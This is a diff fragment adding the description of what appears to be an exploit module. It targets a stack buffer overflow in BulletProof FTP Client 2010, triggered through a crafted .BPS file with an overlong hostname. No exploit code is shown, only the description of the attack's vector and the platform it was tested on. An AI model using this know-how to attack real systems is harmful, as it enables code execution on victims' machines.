+          This module exploits a stack-based buffer overflow vulnerability in
+        BulletProof FTP Client 2010, caused by an overly long hostname.
+        By persuading the victim to open a specially-crafted .BPS file, a
+        remote attacker could execute arbitrary code on the system or cause
+        the application to crash. This module has been tested successfully on
+        Windows XP SP3.
